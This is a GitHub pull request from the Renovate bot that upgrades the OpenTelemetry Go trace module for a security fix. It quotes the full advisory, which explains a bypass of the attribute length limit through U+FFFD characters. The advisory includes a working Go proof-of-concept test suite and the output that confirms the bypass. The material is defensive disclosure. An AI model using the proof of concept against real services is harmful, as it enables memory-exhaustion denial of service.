Skip to content

chore(deps): update module go.opentelemetry.io/otel/trace to v1.47.0 [security] - #1278

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/go-go.opentelemetry.io-otel-trace-vulnerability
Open

chore(deps): update module go.opentelemetry.io/otel/trace to v1.47.0 [security]#1278
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/go-go.opentelemetry.io-otel-trace-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Nov 14, 2026

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
go.opentelemetry.io/otel/trace v1.44.0 → v1.47.0 age confidence

opentelemetry-go: AttributeValueLengthLimit is fully bypassed by attribute values composed of valid U+FFFD runes

CVE-2026-128085 / GHSA-q7gw-24fr-5p69

More information

Details

Summary

The AttributeValueLengthLimit span/log-record limit can be bypassed entirely with attribute values that consist of valid U+FFFD (REPLACEMENT CHARACTER) runes. The counting-based truncation introduced by the fix for GHSA-p9f8-wvj8-2fg8 (commit e016a78c9, first released in v1.33.0) has an "optimistic" fast path that skips every U+FFFD without counting it and without falling back to the correct slow path. A value of 1000 U+FFFD runes (3000 bytes) is stored verbatim even with a limit of 5 characters (15 bytes). The same defect affects the attribute truncation paths in go.opentelemetry.io/otel/sdk/trace (sdk/internal/attrnorm), go.opentelemetry.io/otel/sdk/log (sdk/log/internal/attrnorm), and the auto-instrumentation tracer in go.opentelemetry.io/otel/trace (trace/auto.go, introduced in v1.35.0).

This is an incomplete-fix issue: it is a distinct defect in the replacement code that GHSA-p9f8-wvj8-2fg8 introduced, affecting exactly the versions that advisory says are fixed (>= v1.33.0). The original advisory covers only the pre-v1.33.0 code.

Details

The shared truncation helper is generated from internal/shared/attrnorm/truncate.go.tmpl. In the v1.46.0 release, the generated copies are sdk/internal/attrnorm/truncate.go and sdk/log/internal/attrnorm/truncate.go (identical logic, different package names). The optimistic path (v1.46.0, sdk/internal/attrnorm/truncate.go:175-199) is:

// Optimistically, assume all valid UTF-8.
var b strings.Builder
count := 0
for i, c := range s {
    if c != utf8.RuneError {
        count++
        if count > limit {
            return s[:i]
        }
        continue
    }
    _, size := utf8.DecodeRuneInString(s[i:])
    if size == 1 {
        // invalid encoding: fall through to the correct slow path
        ...
        break
    }
}

range over a string yields utf8.RuneError both for invalid bytes (size 1) and for a legitimately encoded U+FFFD (size 3). Only the size-1 case enters the slow path. A valid U+FFFD rune is therefore neither counted nor truncating: the loop slides over it. Consequences:

  1. A value made only of valid U+FFFD runes never increments count, so no truncation ever triggers and the value is returned unchanged, whatever its length.
  2. In a mixed string, every U+FFFD contributes 3 bytes that are not counted, and the final return s[:i] keeps all previously skipped U+FFFD runes, so the retained size grows linearly with the number of U+FFFD runes and is not bounded by limit.

The OpenTelemetry specification states that truncation applies "counting any character in it as 1". A valid U+FFFD is one character and must count as 1; here it counts as 0. The regression test suite of the repository contains no U+FFFD case, which is why this went unnoticed.

Call chains (v1.46.0):

  • trace: span.SetAttributes -> sdk/trace/span.go (normAttr) -> attrnorm.Truncate -> sdk/internal/attrnorm/truncate.go (truncate)
  • log: Record.AddAttributes / SetAttributes -> sdk/log/record.go (attrnorm.TruncateValue) -> sdk/log/internal/attrnorm/truncate.go (truncate)

Deduplication: GHSA-p9f8-wvj8-2fg8 describes the pre-v1.33.0 helper (safeTruncateValidUTF8), which gave up truncating entirely for strings containing RuneError. The rewrite in e016a78c9 replaced that code; this report concerns the rewritten code, is present only in versions that the advisory lists as fixed, and no public issue or advisory describes it.

PoC

Minimal reproduction with the published release (no repository checkout needed). Go 1.25+ is required (the release declares go 1.25.0; any recent toolchain auto-selects one).

Create a directory with these files.

go.mod (then run go mod tidy once to fill go.sum):

module otelpoc

go 1.25.0

require (
	go.opentelemetry.io/otel v1.46.0
	go.opentelemetry.io/otel/log v0.22.0
	go.opentelemetry.io/otel/sdk v1.46.0
	go.opentelemetry.io/otel/sdk/log v0.22.0
	go.opentelemetry.io/otel/trace v1.46.0
)

otelgo_truncate_test.go:

package otelpoc

import (
	"context"
	"strings"
	"testing"
	"unicode/utf8"

	"go.opentelemetry.io/otel/attribute"
	sdktrace "go.opentelemetry.io/otel/sdk/trace"
	"go.opentelemetry.io/otel/sdk/trace/tracetest"
	"go.opentelemetry.io/otel/trace"
)

// limitsWithLen returns span limits with AttributeValueLengthLimit=limit and
// everything else unlimited, isolating the length-limit enforcement under test.
func limitsWithLen(limit int) sdktrace.SpanLimits {
	lim := sdktrace.NewSpanLimits()
	lim.AttributeValueLengthLimit = limit
	lim.AttributeCountLimit = -1
	lim.AttributePerEventCountLimit = -1
	lim.AttributePerLinkCountLimit = -1
	lim.EventCountLimit = -1
	lim.LinkCountLimit = -1
	return lim
}

func captureOneSpan(t *testing.T, limit int, attrs ...attribute.KeyValue) []attribute.KeyValue {
	t.Helper()
	sr := tracetest.NewSpanRecorder()
	tp := sdktrace.NewTracerProvider(
		sdktrace.WithSpanProcessor(sr),
		sdktrace.WithSpanLimits(limitsWithLen(limit)),
	)
	defer func() { _ = tp.Shutdown(context.Background()) }()

	tr := tp.Tracer("poc")
	_, span := tr.Start(context.Background(), "op")
	span.SetAttributes(attrs...)
	span.End()

	ended := sr.Ended()
	if len(ended) != 1 {
		t.Fatalf("expected 1 ended span, got %d", len(ended))
	}
	return ended[0].Attributes()
}

// TestOT001_FFFDOnlyStringBypassesTraceLengthLimit demonstrates that a string
// attribute composed of valid U+FFFD runes is stored completely untruncated
// although AttributeValueLengthLimit=5.
func TestOT001_FFFDOnlyStringBypassesTraceLengthLimit(t *testing.T) {
	const limit = 5
	val := strings.Repeat("\uFFFD", 1000) // 1000 chars, 3000 bytes

	got := captureOneSpan(t, limit, attribute.String("k", val))
	if len(got) != 1 {
		t.Fatalf("expected 1 attribute, got %d", len(got))
	}
	stored := got[0].Value.AsString()
	t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
		utf8.RuneCountInString(val), len(val),
		utf8.RuneCountInString(stored), len(stored), limit)
	// Per OTel spec ("counting any character in it as 1") the stored value
	// must be at most `limit` characters (<= 15 bytes for U+FFFD).
	if maxBytes := 3 * limit; len(stored) > maxBytes {
		t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)",
			limit, len(stored), maxBytes)
	}
}

// TestOT001_FFFDMixedStringOverRetains demonstrates that valid U+FFFD runes
// are not counted in the optimistic truncation path: every U+FFFD adds 3
// uncounted bytes to the retained value.
func TestOT001_FFFDMixedStringOverRetains(t *testing.T) {
	const limit = 5
	val := strings.Repeat("\uFFFD", 100) + strings.Repeat("A", 6) // 106 chars, 306 bytes

	got := captureOneSpan(t, limit, attribute.String("k", val))
	stored := got[0].Value.AsString()
	t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
		utf8.RuneCountInString(val), len(val),
		utf8.RuneCountInString(stored), len(stored), limit)
	if chars := utf8.RuneCountInString(stored); chars > limit {
		t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d chars / %d bytes stored",
			limit, chars, len(stored))
	}
}

// TestOT001_ASCIIControl is the control case: plain ASCII over-limit values
// ARE truncated, proving the length limit is active in the same setup.
func TestOT001_ASCIIControl(t *testing.T) {
	const limit = 5
	val := strings.Repeat("B", 20)

	got := captureOneSpan(t, limit, attribute.String("k", val))
	stored := got[0].Value.AsString()
	t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
		utf8.RuneCountInString(val), len(val),
		utf8.RuneCountInString(stored), len(stored), limit)
	if len(stored) != limit {
		t.Fatalf("control failed: ASCII value not truncated (stored %d bytes)", len(stored))
	}
}

// TestOT001_EventAttributesNotLengthTruncated documents that span-event
// attributes bypass AttributeValueLengthLimit entirely (no attrnorm.Truncate
// call in recordingSpan.addEvent).
func TestOT001_EventAttributesNotLengthTruncated(t *testing.T) {
	const limit = 5
	val := strings.Repeat("C", 100)

	sr := tracetest.NewSpanRecorder()
	tp := sdktrace.NewTracerProvider(
		sdktrace.WithSpanProcessor(sr),
		sdktrace.WithSpanLimits(limitsWithLen(limit)),
	)
	defer func() { _ = tp.Shutdown(context.Background()) }()
	tr := tp.Tracer("poc")
	_, span := tr.Start(context.Background(), "op")
	span.AddEvent("ev", trace.WithAttributes(attribute.String("k", val)))
	span.End()

	ended := sr.Ended()
	events := ended[0].Events()
	if len(events) != 1 {
		t.Fatalf("expected 1 event, got %d", len(events))
	}
	stored := events[0].Attributes[0].Value.AsString()
	t.Logf("event attribute input: %d bytes; stored: %d bytes; limit=%d", len(val), len(stored), limit)
	if len(stored) > limit {
		t.Logf("CONFIRMED: event attribute not length-truncated (%d bytes > limit %d)", len(stored), limit)
	}
}

(The -run pattern above selects the three truncation cases plus the control; the fourth test function is included because it is part of the exact file that produced the output below - it compiles but is not selected by the pattern, and its output does not appear.)

otelgo_log_truncate_test.go:

package otelpoc

import (
	"context"
	"strings"
	"sync"
	"testing"
	"unicode/utf8"

	"go.opentelemetry.io/otel/attribute"
	apisdk "go.opentelemetry.io/otel/log"
	sdklog "go.opentelemetry.io/otel/sdk/log"
)

type captureProcessor struct {
	mu   sync.Mutex
	recs []*sdklog.Record
}

func (c *captureProcessor) Enabled(context.Context, sdklog.EnabledParameters) bool { return true }

func (c *captureProcessor) OnEmit(_ context.Context, r *sdklog.Record) error {
	c.mu.Lock()
	defer c.mu.Unlock()
	clone := r.Clone()
	c.recs = append(c.recs, &clone)
	return nil
}

func (c *captureProcessor) Shutdown(context.Context) error { return nil }
func (c *captureProcessor) ForceFlush(context.Context) error {
	return nil
}

// TestOT001_FFFDOnlyStringBypassesLogLengthLimit repeats the bypass against
// the sdk/log attribute path (sdk/log/internal/attrnorm, same template).
func TestOT001_FFFDOnlyStringBypassesLogLengthLimit(t *testing.T) {
	const limit = 5
	cp := &captureProcessor{}
	lp := sdklog.NewLoggerProvider(
		sdklog.WithProcessor(cp),
		sdklog.WithAttributeValueLengthLimit(limit),
	)
	defer func() { _ = lp.Shutdown(context.Background()) }()

	logger := lp.Logger("poc")
	var r apisdk.Record
	r.SetSeverity(apisdk.SeverityInfo)
	r.AddAttributes(attribute.String("k", strings.Repeat("\uFFFD", 1000)))
	logger.Emit(context.Background(), r)

	cp.mu.Lock()
	if len(cp.recs) != 1 {
		t.Fatalf("expected 1 record, got %d", len(cp.recs))
	}
	rec := cp.recs[0]
	cp.mu.Unlock()

	stored := ""
	rec.WalkAttributes(func(kv attribute.KeyValue) bool {
		if string(kv.Key) == "k" {
			stored = kv.Value.AsString()
		}
		return true
	})
	t.Logf("sdk/log input: 1000 chars / 3000 bytes; stored: %d chars / %d bytes; limit=%d",
		utf8.RuneCountInString(stored), len(stored), limit)
	if maxBytes := 3 * limit; len(stored) > maxBytes {
		t.Fatalf("BYPASS: sdk/log WithAttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)",
			limit, len(stored), maxBytes)
	}
}

Run:

go mod tidy
go test -count=1 -v -run "TestOT001_FFFDOnlyStringBypassesTraceLengthLimit|TestOT001_FFFDMixedStringOverRetains|TestOT001_ASCIIControl|TestOT001_FFFDOnlyStringBypassesLogLengthLimit" .

Expected output (captured against the published v1.46.0 modules; the three FAIL lines are the bypass being triggered and the PASS control proves the limit is active in the same setup; the only varying parts are the durations in parentheses and the total on the FAIL otelpoc summary line):

=== RUN   TestOT001_FFFDOnlyStringBypassesLogLengthLimit
    otelgo_log_truncate_test.go:66: sdk/log input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5
    otelgo_log_truncate_test.go:69: BYPASS: sdk/log WithAttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)
--- FAIL: TestOT001_FFFDOnlyStringBypassesLogLengthLimit (0.00s)
=== RUN   TestOT001_FFFDOnlyStringBypassesTraceLengthLimit
    otelgo_truncate_test.go:61: input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5
    otelgo_truncate_test.go:67: BYPASS: AttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)
--- FAIL: TestOT001_FFFDOnlyStringBypassesTraceLengthLimit (0.00s)
=== RUN   TestOT001_FFFDMixedStringOverRetains
    otelgo_truncate_test.go:81: input: 106 chars / 306 bytes; stored: 105 chars / 305 bytes; limit=5
    otelgo_truncate_test.go:85: BYPASS: AttributeValueLengthLimit=5 but 105 chars / 305 bytes stored
--- FAIL: TestOT001_FFFDMixedStringOverRetains (0.00s)
=== RUN   TestOT001_ASCIIControl
    otelgo_truncate_test.go:98: input: 20 chars / 20 bytes; stored: 5 chars / 5 bytes; limit=5
--- PASS: TestOT001_ASCIIControl (0.00s)
FAIL
FAIL	otelpoc	0.059s
FAIL

The mixed-string case stores 105 characters for a limit of 5: the 100 U+FFFD runes (300 uncounted bytes) are all retained, plus 5 of the 6 ASCII characters.

Impact

Applications that enable AttributeValueLengthLimit (or WithAttributeValueLengthLimit for logs) to bound attribute memory do not get that bound for values containing valid U+FFFD runes. Span and log-record attribute values are routinely derived from untrusted input (HTTP headers, request bodies, database fields), so an attacker can inflate per-span memory retention linearly, defeating the memory protection the operator explicitly enabled and accumulating increased memory usage over the span/log pipeline. Confidentiality and integrity are not affected.

Suggested fix

In the optimistic loop, count every rune of size > 1 (including the legitimately encoded U+FFFD) and only divert size-1 invalid bytes to the slow path. Add regression cases for: pure U+FFFD strings, U+FFFD-dominated mixed strings, and a truncation point landing after a U+FFFD (the current truncate_test.go has no U+FFFD case).

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

open-telemetry/opentelemetry-go (go.opentelemetry.io/otel/trace)

v1.47.0: /v0.69.0/v0.23.0/v0.1.0

Compare Source

This release contains the first stable release of the OpenTelemetry Go Logs API and SDK.
Our project stability guarantees now apply to the following modules:

  • go.opentelemetry.io/otel/log
  • go.opentelemetry.io/otel/sdk/log

See our versioning policy for more information about these stability guarantees.

Added
  • Add String method for KeyValue type in go.opentelemetry.io/otel/attribute. (#​8205)
  • Add String method for Set type in go.opentelemetry.io/otel/attribute. (#​8347)
  • Add WithMaxExportBatchSize to go.opentelemetry.io/otel/sdk/metric to configure the maximum export batch size for PeriodicReader. (#​8960)
  • Add WithAttributeValueDepthLimit, DefaultAttributeValueDepthLimit, and SpanLimits.AttributeValueDepthLimit in go.opentelemetry.io/otel/sdk/trace to configure the maximum depth of span, event, link, and instrumentation scope attribute values. (#​8938)
  • Add WithAttributeValueDepthLimit in go.opentelemetry.io/otel/sdk/log to configure the maximum depth of log record and instrumentation scope attribute values. (#​8938)
  • Add WithMaxResponseSize to go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp,
    go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp, and
    go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp. (#​8941)
  • Add experimental ProbabilitySampler in go.opentelemetry.io/otel/sdk/trace/x that conforms to the OpenTelemetry specification's threshold-based sampling algorithm. (#​8123)
  • Add experimental *Binder extension interfaces in go.opentelemetry.io/otel/metric/x for instruments that support binding attributes ahead of time. (#​8760)
  • Add the experimental Finisher synchronous metric instrument extension interface to go.opentelemetry.io/otel/metric/x. (#​8906)
Changed
  • Use the OpenTelemetry Attribute Collection representation for non-OTLP protocols for metric data diffs in go.opentelemetry.io/otel/sdk/metric/metricdata/metricdatatest. (#​8993)
  • Apply a maximum depth of 64 by default to span, event, link, log record, and instrumentation scope attribute values in go.opentelemetry.io/otel/sdk/trace and go.opentelemetry.io/otel/sdk/log. (#​8938)
  • Reduce allocations when applying attribute value length limits in go.opentelemetry.io/otel/sdk/trace and go.opentelemetry.io/otel/sdk/log by rebuilding composite values only when truncation is needed. (#​8912)
  • Decode traceparent using a hex lookup table in go.opentelemetry.io/otel/propagation, which rejects the specification-disallowed upper-case characters without a separate scan of the header. (#​8739)
  • Decode all characters at constant indices in TraceIDFromHex and SpanIDFromHex in go.opentelemetry.io/otel/trace to eliminate bounds checks. (#​8740)
Fixed
  • Count valid U+FFFD replacement characters toward attribute value length limits in go.opentelemetry.io/otel/trace, go.opentelemetry.io/otel/sdk/trace, and go.opentelemetry.io/otel/sdk/log.
  • Truncate string attribute values to empty strings when the configured length limit is zero, including malformed UTF-8, in go.opentelemetry.io/otel/trace, go.opentelemetry.io/otel/sdk/trace, and go.opentelemetry.io/otel/sdk/log. (#​9054)
  • Fix a data race in NewPeriodicReader where r.inst was assigned after the background goroutine was launched in go.opentelemetry.io/otel/sdk/metric. (#​9028)
  • Prevent precision loss for large int64 values in Sum, Histogram, and ExponentialHistogram aggregations in go.opentelemetry.io/otel/sdk/metric. (#​8981)
  • Ensure grpc.DialOption values passed via WithDialOption take precedence over conflicting internally-computed defaults in
    go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc,
    go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc, and
    go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc. (#​8805, #​8834, #​8836)
  • Treat overflowing OTEL_METRIC_EXPORT_INTERVAL and OTEL_METRIC_EXPORT_TIMEOUT values as invalid in go.opentelemetry.io/otel/sdk/metric. (#​8800)
  • Prevent a panic in NewFixedSizeReservoir and FixedSizeReservoirProvider when given a negative size in go.opentelemetry.io/otel/sdk/metric/exemplar; negative sizes are now clamped to zero, consistent with a size of zero. (#​8832)
  • Preserve exponential histogram ZeroThreshold during OTLP metric export in go.opentelemetry.io/otel/exporters/otlp/otlpmetric. (#​8801)
  • Ensure metric helpers in go.opentelemetry.io/otel/semconv/v1.32.0, go.opentelemetry.io/otel/semconv/v1.33.0, and go.opentelemetry.io/otel/semconv/v1.34.0 record measurements only once when no attributes are provided. (#​8849)
  • Treat empty OTEL_TRACES_SAMPLER and OTEL_TRACES_SAMPLER_ARG values as unset in go.opentelemetry.io/otel/sdk/trace. (#​8873)
  • Normalize global OTEL_EXPORTER_OTLP_ENDPOINT path joining in go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp so trailing-slash base URLs do not produce double-slash log export paths. (#​8864)
  • Prevent a deadlock when formatting an error passed to RecordError calls back into the span in go.opentelemetry.io/otel/sdk/trace. (#​8815)
  • Prevent SimpleSpanProcessor.Shutdown from panicking when constructed with a nil exporter in go.opentelemetry.io/otel/sdk/trace. (#​8844)
  • Propagate invalid exponential histogram scale errors to Prometheus exporter self-observability metrics in go.opentelemetry.io/otel/exporters/prometheus. (#​8839)
  • Retain instrument advisory attributes configured with go.opentelemetry.io/otel/metric/x.WithDefaultAttributes when a matching View in go.opentelemetry.io/otel/sdk/metric does not specify an attribute filter. (#​8859)
  • Ignore HTTP URL paths when building OTLP/gRPC metric exporter targets from OTEL_EXPORTER_OTLP_ENDPOINT and OTEL_EXPORTER_OTLP_METRICS_ENDPOINT, while preserving unix:// and unix-abstract:// targets; treat unix-abstract:// endpoints as insecure in go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc and go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp. (#​8862)
  • Ignore HTTP(S) paths when deriving gRPC trace exporter endpoints from OTEL_EXPORTER_OTLP_ENDPOINT and OTEL_EXPORTER_OTLP_TRACES_ENDPOINT in go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc. (#​8852)
  • Bound memory used while parsing dense W3C property metadata by storing it compactly and materializing Property values on demand in go.opentelemetry.io/otel/baggage and go.opentelemetry.io/otel/propagation.
Removed
  • Remove the experimental OTEL_GO_X_METRIC_EXPORT_BATCH_SIZE environment variable in go.opentelemetry.io/otel/sdk/metric.
    Use the WithMaxExportBatchSize option instead. (#​8960)

What's Changed

[!IMPORTANT]
✂ PR body was truncated to here.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate

renovate Bot commented Nov 14, 2026

Copy link
Copy Markdown
Contributor Author

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 4 additional dependencies were updated
  • The go directive was updated for compatibility reasons

Details:

Package Change
go 1.25.12 -> 1.26.0
github.com/go-logr/logr v1.4.3 -> v1.4.4
go.opentelemetry.io/otel v1.44.0 -> v1.47.0
go.opentelemetry.io/otel/metric v1.44.0 -> v1.47.0
go.yaml.in/yaml/v3 v3.0.4 -> v3.0.5

@ti-chi-bot

ti-chi-bot Bot commented Nov 14, 2026

Copy link
Copy Markdown

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by:
Once this PR has been reviewed and has the lgtm label, please assign fgksgf for approval. For more information see the Code Review Process.
Please ensure that each of them provides their approval before proceeding.

The full list of commands accepted by this bot can be found here.

Details Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@ti-chi-bot
ti-chi-bot Bot requested a review from liubog2008 November 14, 2026 07:03
@coderabbitai

coderabbitai Bot commented Nov 14, 2026

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

Run configuration

  • Source mode: Auto
  • Repository: Unavailable
  • Branch: Unavailable
  • File: No configuration file from this repository applied
  • Commit: Unavailable
  • Layers: Organization UI
  • Review profile: CHILL
  • Plan: Advanced
  • Run ID: c0ddf4db-5a56-4fe3-a80f-81906badcbb2

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • Trigger review
  • Autofix · Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

Share

@ti-chi-bot ti-chi-bot Bot added the size/M label Nov 14, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@liubog2008 liubog2008 Awaiting requested review from liubog2008

Assignees

No one assigned

Labels

size/M

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants